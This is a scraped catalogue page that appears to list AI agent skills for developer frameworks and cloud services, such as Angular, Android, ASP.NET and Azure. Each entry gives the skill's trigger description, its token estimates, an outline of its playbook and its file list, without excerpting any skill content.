packages/autoskills/skills-registry/sqlalchemy - sqlalchemy-alembic-expert-best-practices-code-review
packages/autoskills/skills-registry/sqlalchemy-alembic-expert-best-practices-code-review - stripe-best-practices
packages/autoskills/skills-registry/stripe-best-practices - supabase-postgres-best-practices
packages/autoskills/skills-registry/supabase-postgres-best-practices - svelte-code-writer
packages/autoskills/skills-registry/svelte-code-writer - svelte5-best-practices
packages/autoskills/skills-registry/svelte5-best-practices - swift-concurrency
packages/autoskills/skills-registry/swift-concurrency - swift-testing-expert
packages/autoskills/skills-registry/swift-testing-expert - swiftui-expert-skill
packages/autoskills/skills-registry/swiftui-expert-skill - tailwind-css-patterns
packages/autoskills/skills-registry/tailwind-css-patterns - tailwind-v4-shadcn
packages/autoskills/skills-registry/tailwind-v4-shadcn - tanstack-start
packages/autoskills/skills-registry/tanstack-start - tauri-v2
packages/autoskills/skills-registry/tauri-v2 - terraform-module-library
packages/autoskills/skills-registry/terraform-module-library - terraform-stacks
packages/autoskills/skills-registry/terraform-stacks - terraform-style-guide
packages/autoskills/skills-registry/terraform-style-guide - test-driven-development
packages/autoskills/skills-registry/test-driven-development - test-service
packages/autoskills/skills-registry/test-service - threejs-animation
packages/autoskills/skills-registry/threejs-animation - threejs-fundamentals
packages/autoskills/skills-registry/threejs-fundamentals - threejs-geometry
packages/autoskills/skills-registry/threejs-geometry - threejs-interaction
packages/autoskills/skills-registry/threejs-interaction - threejs-lighting
packages/autoskills/skills-registry/threejs-lighting - threejs-loaders
packages/autoskills/skills-registry/threejs-loaders - threejs-materials
packages/autoskills/skills-registry/threejs-materials - threejs-postprocessing
packages/autoskills/skills-registry/threejs-postprocessing - threejs-shaders
packages/autoskills/skills-registry/threejs-shaders - threejs-textures
packages/autoskills/skills-registry/threejs-textures - triage-bug
packages/autoskills/skills-registry/triage-bug - turborepo
packages/autoskills/skills-registry/turborepo - two-factor-authentication-best-practices
packages/autoskills/skills-registry/twoFactor - typescript-advanced-types
packages/autoskills/skills-registry/typescript-advanced-types - upgrade-stripe
packages/autoskills/skills-registry/upgrade-stripe - ai-sdk
packages/autoskills/skills-registry/use-ai-sdk - vite
packages/autoskills/skills-registry/vite - vitest
packages/autoskills/skills-registry/vitest - vue
packages/autoskills/skills-registry/vue - vue-best-practices
packages/autoskills/skills-registry/vue-best-practices - vue-debug-guides
packages/autoskills/skills-registry/vue-debug-guides - vue-pinia-best-practices
packages/autoskills/skills-registry/vue-pinia-best-practices - web-perf
packages/autoskills/skills-registry/web-perf - wordpress-router
packages/autoskills/skills-registry/wordpress-router - workers-best-practices
packages/autoskills/skills-registry/workers-best-practices - wp-block-development
packages/autoskills/skills-registry/wp-block-development - wp-block-themes
packages/autoskills/skills-registry/wp-block-themes - wp-performance
packages/autoskills/skills-registry/wp-performance - wp-plugin-development
packages/autoskills/skills-registry/wp-plugin-development - wp-project-triage
packages/autoskills/skills-registry/wp-project-triage - wp-rest-api
packages/autoskills/skills-registry/wp-rest-api - wp-wpcli-and-ops
packages/autoskills/skills-registry/wp-wpcli-and-ops - wrangler
packages/autoskills/skills-registry/wrangler - xcode-build-orchestrator
packages/autoskills/skills-registry/xcode-build-orchestrator - zod
packages/autoskills/skills-registry/zod
How it works
accessibility
When your agent uses it
Audit and improve web accessibility following WCAG 2.2 guidelines. Use when asked to "improve accessibility", "a11y audit", "WCAG compliance", "screen reader support", "keyboard navigation", or "make accessible".
What it loads into context
Frontmatter
76 tokensAlways available to the agent
SKILL.md
3,619 tokensWhen the skill is activated
Reference documents
4,004 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Evidence-led audit workflow
- WCAG Principles: POUR
- Conformance levels
- Perceivable
- Operable
- Understandable
- Robust
- Testing checklist
- Common issues by impact
- References
Files
SKILL.mdcore14,358 bytesSKILL.mdcore14,358 bytesSKILL.mdcore14,358 bytesSKILL.mdcore14,358 bytesreferences/A11Y-PATTERNS.mddoc6,036 bytesreferences/WCAG.mddoc9,079 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubadev-writing-guide
When your agent uses it
Comprehensive writing guide for Angular documentation (adev). Covers Google Technical Writing standards, Angular-specific markdown extensions, code blocks, and components. You MUST use this skill any time you plan to create, edit, or review documentation files in `adev/` or `adev/src/content`.
What it loads into context
Frontmatter
63 tokensAlways available to the agent
SKILL.md
1,953 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- I. Google Technical Writing Guidelines
- II. Angular Documentation Specifics
Files
SKILL.mdcore8,266 bytesSKILL.mdcore8,266 bytesSKILL.mdcore8,266 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubagents-sdk
When your agent uses it
Build, debug, or review Cloudflare Agents SDK applications using the agents package.
What it loads into context
Frontmatter
23 tokensAlways available to the agent
SKILL.md
2,896 tokensWhen the skill is activated
Reference documents
8,192 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Retrieval Sources
- Capabilities
- FIRST: Verify Installation
- Wrangler Configuration
- Agent Class
- Routing
- Core APIs
- React Client
- References
Files
SKILL.mdcore12,088 bytesSKILL.mdcore12,088 bytesSKILL.mdcore12,088 bytesSKILL.mdcore12,088 bytesreferences/browse-the-web.mddoc1,627 bytesreferences/callable.mddoc2,127 bytesreferences/client-sdk.mddoc1,216 bytesreferences/codemode.mddoc2,916 bytesreferences/configuration.mddoc1,850 bytesreferences/durable-execution.mddoc1,717 bytesreferences/email.mddoc3,556 bytesreferences/human-in-the-loop.mddoc929 bytesreferences/mcp.mddoc1,325 bytesreferences/observability.mddoc1,352 bytesreferences/queue-retries.mddoc1,463 bytesreferences/routing.mddoc1,844 bytesreferences/server-driven-messages.mddoc868 bytesreferences/state-scheduling.mddoc1,542 bytesreferences/streaming-chat.mddoc1,464 bytesreferences/think.mddoc2,933 bytesreferences/voice.mddoc1,918 bytesreferences/webhooks-push.mddoc2,466 bytesreferences/workflows.mddoc2,378 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubandroid-architecture-clean
When your agent uses it
Apply clean architecture boundaries, use cases, repositories, and lifecycle-aware presentation models in Android projects.
What it loads into context
Frontmatter
167 tokensAlways available to the agent
SKILL.md
756 tokensWhen the skill is activated
Reference documents
420 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When To Use
- Workflow
- Guardrails
- Anti-Patterns
- Examples
- Done Checklist
- Official References
Scripts executed separately
scripts/run_examples.sh
Files
SKILL.mdcore3,806 bytesSKILL.mdcore3,806 bytesagents/openai.yamlasset402 bytesreferences/official-links.mddoc519 bytesreferences/patterns.mddoc989 bytesreferences/scenarios.mddoc578 bytesscripts/run_examples.shruns424 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubandroid-compose-foundations
When your agent uses it
Build Android UI with Jetpack Compose foundations, layouts, modifiers, theming, and stable component structure.
What it loads into context
Frontmatter
160 tokensAlways available to the agent
SKILL.md
772 tokensWhen the skill is activated
Reference documents
453 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When To Use
- Workflow
- Guardrails
- Anti-Patterns
- Examples
- Done Checklist
- Official References
Scripts executed separately
scripts/run_examples.sh
Files
SKILL.mdcore3,728 bytesSKILL.mdcore3,728 bytesagents/openai.yamlasset382 bytesreferences/official-links.mddoc556 bytesreferences/patterns.mddoc972 bytesreferences/scenarios.mddoc593 bytesscripts/run_examples.shruns427 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubandroid-coroutines-flow
When your agent uses it
Use coroutines, Flow, structured concurrency, dispatchers, and cancellation-safe Android async pipelines.
What it loads into context
Frontmatter
164 tokensAlways available to the agent
SKILL.md
929 tokensWhen the skill is activated
Reference documents
439 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When To Use
- Workflow
- Guardrails
- Anti-Patterns
- Remediation Examples
- Examples
- Done Checklist
- Official References
Scripts executed separately
scripts/run_examples.sh
Files
SKILL.mdcore4,434 bytesSKILL.mdcore4,434 bytesagents/openai.yamlasset362 bytesreferences/official-links.mddoc480 bytesreferences/patterns.mddoc980 bytesreferences/scenarios.mddoc592 bytesscripts/run_examples.shruns415 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubandroid-di-hilt
When your agent uses it
Wire Android dependency injection with Hilt, scopes, testing overrides, and module ownership boundaries.
What it loads into context
Frontmatter
208 tokensAlways available to the agent
SKILL.md
961 tokensWhen the skill is activated
Reference documents
582 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When To Use
- Workflow
- Guardrails
- Anti-Patterns
- Review Focus
- Examples
- Done Checklist
- Official References
Scripts executed separately
scripts/run_examples.sh
Files
SKILL.mdcore4,532 bytesSKILL.mdcore4,532 bytesagents/openai.yamlasset344 bytesreferences/official-links.mddoc779 bytesreferences/patterns.mddoc1,339 bytesreferences/scenarios.mddoc613 bytesscripts/run_examples.shruns391 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubandroid-gradle-build-logic
When your agent uses it
Shape Android build logic with Gradle, version catalogs, plugins, convention patterns, and toolchain compatibility.
What it loads into context
Frontmatter
174 tokensAlways available to the agent
SKILL.md
774 tokensWhen the skill is activated
Reference documents
434 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When To Use
- Workflow
- Guardrails
- Anti-Patterns
- Examples
- Done Checklist
- Official References
Scripts executed separately
scripts/run_examples.sh
Files
SKILL.mdcore3,769 bytesSKILL.mdcore3,769 bytesagents/openai.yamlasset388 bytesreferences/official-links.mddoc495 bytesreferences/patterns.mddoc996 bytesreferences/scenarios.mddoc575 bytesscripts/run_examples.shruns416 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubandroid-kotlin-core
When your agent uses it
Use Kotlin idioms safely in Android apps, including nullability, data classes, sealed types, extension functions, and collection pipelines.
What it loads into context
Frontmatter
180 tokensAlways available to the agent
SKILL.md
774 tokensWhen the skill is activated
Reference documents
424 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When To Use
- Workflow
- Guardrails
- Anti-Patterns
- Examples
- Done Checklist
- Official References
Scripts executed separately
scripts/run_examples.sh
Files
SKILL.mdcore3,763 bytesSKILL.mdcore3,763 bytesagents/openai.yamlasset422 bytesreferences/official-links.mddoc428 bytesreferences/patterns.mddoc997 bytesreferences/scenarios.mddoc573 bytesscripts/run_examples.shruns403 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubandroid-networking-retrofit-okhttp
When your agent uses it
Build Android networking stacks with Retrofit, OkHttp, interceptors, API contracts, and resilient error handling.
What it loads into context
Frontmatter
168 tokensAlways available to the agent
SKILL.md
774 tokensWhen the skill is activated
Reference documents
452 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When To Use
- Workflow
- Guardrails
- Anti-Patterns
- Examples
- Done Checklist
- Official References
Scripts executed separately
scripts/run_examples.sh
Files
SKILL.mdcore3,658 bytesSKILL.mdcore3,658 bytesagents/openai.yamlasset400 bytesreferences/official-links.mddoc575 bytesreferences/patterns.mddoc977 bytesreferences/scenarios.mddoc582 bytesscripts/run_examples.shruns448 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubandroid-testing-unit
When your agent uses it
Write fast, focused Android unit tests for reducers, use cases, repositories, and lifecycle-safe state holders.
What it loads into context
Frontmatter
162 tokensAlways available to the agent
SKILL.md
761 tokensWhen the skill is activated
Reference documents
447 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When To Use
- Workflow
- Guardrails
- Anti-Patterns
- Examples
- Done Checklist
- Official References
Scripts executed separately
scripts/run_examples.sh
Files
SKILL.mdcore3,624 bytesSKILL.mdcore3,624 bytesagents/openai.yamlasset368 bytesreferences/official-links.mddoc543 bytesreferences/patterns.mddoc895 bytesreferences/scenarios.mddoc647 bytesscripts/run_examples.shruns470 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubangular-developer
When your agent uses it
Generates Angular code and provides architectural guidance. Trigger when creating projects, components, services, or HTTP communication, or for best practices on reactivity (signals, linkedSignal, resource, httpResource), queries and content projection, forms, dependency injection, routing, server and hybrid rendering (SSR, prerendering, hydration), accessibility (ARIA), animations, styling (component styles, Tailwind CSS), testing, naming conventions, or CLI tooling.
What it loads into context
Frontmatter
120 tokensAlways available to the agent
SKILL.md
2,500 tokensWhen the skill is activated
Reference documents
39,397 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Creating New Projects
- Components
- Reactivity and Data Management
- HTTP Communication
- Forms
- Dependency Injection
- Pipes
- Angular Aria
- Routing
- Styling and Animations
- Testing
- Tooling
Files
SKILL.mdcore11,516 bytesSKILL.mdcore11,516 bytesreferences/angular-animations.mddoc3,974 bytesreferences/angular-aria.mddoc18,600 bytesreferences/cli.mddoc3,715 bytesreferences/component-harnesses.mddoc2,808 bytesreferences/component-styling.mddoc2,531 bytesreferences/components.mddoc3,913 bytesreferences/creating-services.mddoc3,246 bytesreferences/data-resolvers.mddoc1,655 bytesreferences/deferrable-views.mddoc2,800 bytesreferences/define-routes.mddoc2,129 bytesreferences/defining-providers.mddoc2,256 bytesreferences/di-fundamentals.mddoc3,461 bytesreferences/e2e-testing.mddoc884 bytesreferences/effects.mddoc2,803 bytesreferences/environment-configuration.mddoc3,380 bytesreferences/hierarchical-injectors.mddoc2,105 bytesreferences/host-elements.mddoc2,190 bytesreferences/http-client.mddoc5,484 bytesreferences/injection-context.mddoc1,929 bytesreferences/inputs.mddoc2,504 bytesreferences/linked-signal.mddoc2,660 bytesreferences/loading-strategies.mddoc1,522 bytesreferences/mcp.mddoc3,247 bytesreferences/migrations.mddoc2,078 bytesreferences/naming-conventions.mddoc5,523 bytesreferences/navigate-to-routes.mddoc1,639 bytesreferences/outputs.mddoc2,649 bytesreferences/pipes.mddoc3,865 bytesreferences/queries-and-projection.mddoc9,242 bytesreferences/reactive-forms.mddoc3,559 bytesreferences/rendering-strategies.mddoc1,860 bytesreferences/resource.mddoc3,996 bytesreferences/route-animations.mddoc1,688 bytesreferences/route-guards.mddoc1,875 bytesreferences/router-lifecycle.mddoc1,534 bytesreferences/router-testing.mddoc3,765 bytesreferences/server-side-rendering.mddoc4,590 bytesreferences/show-routes-with-outlets.mddoc1,672 bytesreferences/signal-forms.mddoc27,836 bytesreferences/signals-overview.mddoc2,849 bytesreferences/tailwind-css.mddoc1,868 bytesreferences/template-driven-forms.mddoc3,752 bytesreferences/testing-fundamentals.mddoc2,812 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubapply-stack-conventions
When your agent uses it
Use when writing new Rails code for the PostgreSQL + Hotwire + Tailwind stack. Not for general architecture review. Trigger words: stack conventions, PostgreSQL, Hotwire, Tailwind, Turbo, Stimulus.
What it loads into context
Frontmatter
86 tokensAlways available to the agent
SKILL.md
1,547 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Quick Reference
- HARD-GATE: TDD Cycle
- Core Process
- Output Style
- Extended Resources (Progressive Disclosure)
- Integration
Scripts executed separately
assets/snippets/eager_loading.rbassets/snippets/n_plus_one_fix_example.rbassets/snippets/service_object.rbassets/snippets/stimulus_controller.js
Files
SKILL.mdcore6,981 bytesSKILL.mdcore6,981 bytesSKILL.mdcore6,981 bytesassets/snippets/eager_loading.rbruns185 bytesassets/snippets/n_plus_one_fix_example.rbruns187 bytesassets/snippets/service_object.rbruns227 bytesassets/snippets/stimulus_controller.jsruns185 bytesassets/snippets/tailwind_component.html.erbasset197 bytesassets/snippets/turbo_frame.html.erbasset102 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubaspnet-core
When your agent uses it
Build, review, refactor, or architect ASP.NET Core web applications using current official guidance for .NET web development. Use when working on Blazor Web Apps, Razor Pages, MVC, Minimal APIs, controller-based Web APIs, SignalR, gRPC, middleware, dependency injection, configuration, authentication, authorization, testing, performance, deployment, or ASP.NET Core upgrades.
What it loads into context
Frontmatter
83 tokensAlways available to the agent
SKILL.md
1,150 tokensWhen the skill is activated
Reference documents
7,027 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- Workflow
- Default Operating Assumptions
- Reference Guide
- Execution Notes
Files
LICENSE.txtdoc11,357 bytesSKILL.mdcore5,544 bytesagents/openai.yamlasset222 bytesassets/dotnet-logo.pngasset2,270 bytesreferences/_sections.mddoc2,412 bytesreferences/apis-minimal-and-controllers.mddoc3,040 bytesreferences/data-state-and-services.mddoc2,422 bytesreferences/program-and-pipeline.mddoc4,182 bytesreferences/realtime-grpc-and-background-work.mddoc1,896 bytesreferences/security-and-identity.mddoc2,941 bytesreferences/source-map.mddoc2,040 bytesreferences/stack-selection.mddoc3,700 bytesreferences/testing-performance-and-operations.mddoc2,698 bytesreferences/ui-blazor.mddoc2,478 bytesreferences/ui-mvc.mddoc1,954 bytesreferences/ui-razor-pages.mddoc1,937 bytesreferences/versioning-and-upgrades.mddoc2,085 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubaspnet-minimal-api-openapi
When your agent uses it
Create ASP.NET Minimal API endpoints with proper OpenAPI documentation
What it loads into context
Frontmatter
25 tokensAlways available to the agent
SKILL.md
345 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- API Organization
- Request and Response Types
- Type Handling
- OpenAPI Documentation
Files
SKILL.mdcore1,754 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubastro
When your agent uses it
Skill for building with the Astro web framework. Helps create Astro components and pages, configure SSR adapters, set up content collections, deploy static sites, and manage project structure and CLI commands. Use when the user needs to work with Astro, mentions .astro files, asks about static site generation (SSG), islands architecture, content collections, or deploying an Astro project.
What it loads into context
Frontmatter
104 tokensAlways available to the agent
SKILL.md
1,071 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Quick Reference
- Core Config Options
- Common Workflows
- Adapters
- Resources
Files
SKILL.mdcore4,138 bytesSKILL.mdcore4,138 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubazure-ai
When your agent uses it
Use for Azure AI: Search, Speech, OpenAI, Document Intelligence. Helps with search, vector/hybrid search, speech-to-text, text-to-speech, transcription, OCR. WHEN: AI Search, query search, vector search, hybrid search, semantic search, speech-to-text, text-to-speech, transcribe, OCR, convert text to speech.
What it loads into context
Frontmatter
103 tokensAlways available to the agent
SKILL.md
817 tokensWhen the skill is activated
Reference documents
5,672 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Services
- MCP Server (Preferred)
- AI Search Capabilities
- Speech Capabilities
- SDK Quick References
- Service Details
Files
SKILL.mdcore3,406 bytesreferences/auth-best-practices.mddoc6,207 bytesreferences/sdk/azure-ai-contentsafety-java.mddoc1,401 bytesreferences/sdk/azure-ai-contentsafety-py.mddoc1,361 bytesreferences/sdk/azure-ai-contentsafety-ts.mddoc1,413 bytesreferences/sdk/azure-ai-document-intelligence-dotnet.mddoc1,456 bytesreferences/sdk/azure-ai-document-intelligence-ts.mddoc1,573 bytesreferences/sdk/azure-ai-openai-dotnet.mddoc1,419 bytesreferences/sdk/azure-ai-transcription-py.mddoc1,210 bytesreferences/sdk/azure-ai-translation-text-py.mddoc1,345 bytesreferences/sdk/azure-ai-translation-ts.mddoc1,369 bytesreferences/sdk/azure-ai-vision-imageanalysis-java.mddoc1,325 bytesreferences/sdk/azure-ai-vision-imageanalysis-py.mddoc1,297 bytesreferences/sdk/azure-search-documents-dotnet.mddoc1,334 bytesreferences/sdk/azure-search-documents-py.mddoc1,561 bytesreferences/sdk/azure-search-documents-ts.mddoc1,259 bytesversion.jsonasset55 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubazure-deploy
When your agent uses it
Execute Azure deployments for ALREADY-PREPARED applications that have existing .azure/deployment-plan.md and infrastructure files. DO NOT use this skill when the user asks to CREATE a new application — use azure-prepare instead. This skill runs azd up, azd deploy, terraform apply, and az deployment commands with built-in error recovery. Requires .azure/deployment-plan.md from azure-prepare and validated status from azure-validate. WHEN: "run azd up", "run azd deploy", "execute deployment", "push to production", "push to cloud", "go live", "ship it", "bicep deploy", "terraform apply", "publish to Azure", "launch on Azure". DO NOT USE WHEN: "create and deploy", "build and deploy", "create a new app", "set up infrastructure", "create and deploy to Azure using Terraform" — use azure-prepare for these.
What it loads into context
Frontmatter
218 tokensAlways available to the agent
SKILL.md
1,596 tokensWhen the skill is activated
Reference documents
26,945 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Triggers
- Rules
- Steps
- SDK Quick References
- MCP Tools
- References
Scripts executed separately
references/recipes/azd/scripts/apply-migrations.ps1references/recipes/azd/scripts/apply-migrations.shreferences/recipes/azd/scripts/grant-and-migrate.ps1references/recipes/azd/scripts/grant-and-migrate.sh
Files
SKILL.mdcore6,644 bytesreferences/auth-best-practices.mddoc6,207 bytesreferences/global-rules.mddoc1,269 bytesreferences/live-role-verification.mddoc3,965 bytesreferences/pre-deploy-checklist.mddoc18,891 bytesreferences/recipes/README.mddoc431 bytesreferences/recipes/azcli/README.mddoc1,721 bytesreferences/recipes/azcli/errors.mddoc492 bytesreferences/recipes/azcli/verify.mddoc2,059 bytesreferences/recipes/azd/README.mddoc3,746 bytesreferences/recipes/azd/ef-migrations.mddoc5,102 bytesreferences/recipes/azd/errors.mddoc15,752 bytesreferences/recipes/azd/functions-deploy.mddoc3,542 bytesreferences/recipes/azd/post-deployment.mddoc4,299 bytesreferences/recipes/azd/scripts/apply-migrations.ps1runs1,865 bytesreferences/recipes/azd/scripts/apply-migrations.shruns1,793 bytesreferences/recipes/azd/scripts/grant-and-migrate.ps1runs4,351 bytesreferences/recipes/azd/scripts/grant-and-migrate.shruns4,368 bytesreferences/recipes/azd/sql-entra-auth.mddoc2,566 bytesreferences/recipes/azd/sql-managed-identity.mddoc7,612 bytesreferences/recipes/azd/verify.mddoc4,985 bytesreferences/recipes/bicep/README.mddoc2,412 bytesreferences/recipes/bicep/errors.mddoc511 bytesreferences/recipes/bicep/verify.mddoc763 bytesreferences/recipes/cicd/README.mddoc1,232 bytesreferences/recipes/cicd/errors.mddoc542 bytesreferences/recipes/cicd/examples/azdo-azd.ymlasset487 bytesreferences/recipes/cicd/examples/azdo-multistage.ymlasset831 bytesreferences/recipes/cicd/examples/github-azd.ymlasset782 bytesreferences/recipes/cicd/examples/github-bicep.ymlasset660 bytesreferences/recipes/cicd/verify.mddoc754 bytesreferences/recipes/terraform/README.mddoc3,235 bytesreferences/recipes/terraform/errors.mddoc858 bytesreferences/recipes/terraform/verify.mddoc752 bytesreferences/region-availability.mddoc3,031 bytesreferences/sdk/azd-deployment.mddoc792 bytesreferences/sdk/azure-identity-dotnet.mddoc941 bytesreferences/sdk/azure-identity-java.mddoc1,249 bytesreferences/sdk/azure-identity-py.mddoc1,149 bytesreferences/sdk/azure-identity-ts.mddoc1,145 bytesreferences/troubleshooting.mddoc8,172 bytesversion.jsonasset55 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubazure-diagnostics
When your agent uses it
Debug Azure production issues on Azure using AppLens, Azure Monitor, resource health, and safe triage. WHEN: debug production issues, troubleshoot app service, app service high CPU, app service deployment failure, troubleshoot container apps, container app 503 or target port mismatch, troubleshoot functions, function telemetry missing or stopped after a config/connection-string change, troubleshoot AKS, VM RDP, Linux SSH, VM black screen, can't connect to VM, reset VM password, NSG or firewall blocking, kubectl cannot connect, kube-system/CoreDNS failures, pod pending, crashloop, node not ready, upgrade failures, analyze logs, KQL, insights, image pull failures, cold start issues, health probe failures, resource health, root cause of errors, troubleshoot event hubs, troubleshoot service bus, messaging SDK error, AMQP connection failure, message lock lost, lock renewal during long-running processing, service bus dead letter.
What it loads into context
Frontmatter
216 tokensAlways available to the agent
SKILL.md
1,640 tokensWhen the skill is activated
Reference documents
35,709 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Triggers
- Rules
- Quick Diagnosis Flow
- Troubleshooting Guides by Service
- Routing
- Quick Reference
- Check Azure Resource Health
- References
Scripts executed separately
scripts/aks-baseline.ps1scripts/aks-baseline.shscripts/appservice-diagnostics.ps1scripts/appservice-diagnostics.shscripts/containerapp-diagnostics.ps1scripts/containerapp-diagnostics.shscripts/pod-evidence.ps1scripts/pod-evidence.shscripts/run-ig.ps1scripts/run-ig.shscripts/test-messaging-connectivity.ps1scripts/test-messaging-connectivity.sh
Files
SKILL.mdcore7,446 bytesSKILL.mdcore7,446 bytesSKILL.mdcore7,446 bytesSKILL.mdcore7,446 bytesreferences/app-service/README.mddoc7,967 bytesreferences/azure-resource-graph.mddoc2,909 bytesreferences/container-apps/README.mddoc3,577 bytesreferences/functions/README.mddoc3,979 bytesreferences/functions/durable.mddoc7,827 bytesreferences/functions/triggers.mddoc7,861 bytesreferences/kql-queries.mddoc1,342 bytesscripts/aks-baseline.ps1runs7,190 bytesscripts/aks-baseline.shruns6,837 bytesscripts/appservice-diagnostics.ps1runs2,325 bytesscripts/appservice-diagnostics.shruns2,954 bytesscripts/containerapp-diagnostics.ps1runs2,180 bytesscripts/containerapp-diagnostics.shruns2,792 bytesscripts/pod-evidence.ps1runs6,749 bytesscripts/pod-evidence.shruns7,222 bytesscripts/run-ig.ps1runs5,690 bytesscripts/run-ig.shruns6,664 bytesscripts/test-messaging-connectivity.ps1runs6,491 bytesscripts/test-messaging-connectivity.shruns6,974 bytestroubleshooting/aks/aks-troubleshooting.mddoc9,424 bytestroubleshooting/aks/general-diagnostics.mddoc2,053 bytestroubleshooting/aks/load-balancer-and-ingress.mddoc3,687 bytestroubleshooting/aks/network-policy.mddoc832 bytestroubleshooting/aks/networking.mddoc5,597 bytestroubleshooting/aks/node-issues.mddoc4,833 bytestroubleshooting/aks/optional-aks-operations.mddoc2,402 bytestroubleshooting/aks/pod-failures.mddoc7,751 bytestroubleshooting/aks/references/aks-mcp.mddoc2,404 bytestroubleshooting/aks/references/command-flows.mddoc4,160 bytestroubleshooting/aks/references/inspektor-gadget.mddoc7,795 bytestroubleshooting/aks/references/structured-input-modes.mddoc1,508 bytestroubleshooting/aks/spot-and-zone-issues.mddoc2,608 bytestroubleshooting/aks/upgrade-operations.mddoc2,252 bytestroubleshooting/compute/references/cannot-connect-to-vm.mddoc3,204 bytestroubleshooting/compute/references/credential-auth-errors.mddoc2,365 bytestroubleshooting/compute/references/firewall-blocking.mddoc2,376 bytestroubleshooting/compute/references/network-connectivity.mddoc2,604 bytestroubleshooting/compute/references/rdp-connectivity.mddoc2,800 bytestroubleshooting/compute/references/rdp-service-config.mddoc3,299 bytestroubleshooting/compute/references/ssh-connectivity.mddoc2,979 bytestroubleshooting/compute/references/vm-agent-not-responding.mddoc3,723 bytestroubleshooting/compute/vm-troubleshooting.mddoc3,384 bytestroubleshooting/messaging/README.mddoc1,606 bytestroubleshooting/messaging/auth-best-practices.mddoc6,207 bytestroubleshooting/messaging/azure-eventhubs-dotnet.mddoc3,573 bytestroubleshooting/messaging/azure-eventhubs-java.mddoc3,298 bytestroubleshooting/messaging/azure-eventhubs-js.mddoc2,777 bytestroubleshooting/messaging/azure-eventhubs-py.mddoc4,454 bytestroubleshooting/messaging/azure-servicebus-dotnet.mddoc2,568 bytestroubleshooting/messaging/azure-servicebus-java.mddoc2,281 bytestroubleshooting/messaging/azure-servicebus-js.mddoc2,489 bytestroubleshooting/messaging/azure-servicebus-py.mddoc2,388 bytestroubleshooting/messaging/service-troubleshooting.mddoc5,193 bytesversion.jsonasset55 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubbash-defensive-patterns
When your agent uses it
Master defensive Bash programming techniques for production-grade scripts. Use when writing robust shell scripts, CI/CD pipelines, or system utilities requiring fault tolerance and safety.
What it loads into context
Frontmatter
40 tokensAlways available to the agent
SKILL.md
400 tokensWhen the skill is activated
Reference documents
2,783 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use This Skill
- Detailed patterns and worked examples
- Best Practices Summary
Files
SKILL.mdcore1,991 bytesreferences/details.mddoc9,770 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubbetter-auth-best-practices
When your agent uses it
Configure Better Auth server and client, set up database adapters, manage sessions, add plugins, and handle environment variables. Use when users mention Better Auth, betterauth, auth.ts, or need to set up TypeScript authentication with email/password, OAuth, or plugin configuration.
What it loads into context
Frontmatter
65 tokensAlways available to the agent
SKILL.md
2,064 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Documentation Version
- Setup Workflow
- Quick Reference
- Core Config Options
- Database
- Session Management
- User & Account Config
- Email Flows
- Security
- Hooks
- Plugins
- Client
- Type Safety
- Common Gotchas
- Resources
Files
SKILL.mdcore8,231 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubbun
When your agent uses it
Use when building, testing, and deploying JavaScript/TypeScript applications. Reach for Bun when you need to run scripts, manage dependencies, bundle code, or test applications with a single unified tool.
What it loads into context
Frontmatter
64 tokensAlways available to the agent
SKILL.md
2,511 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
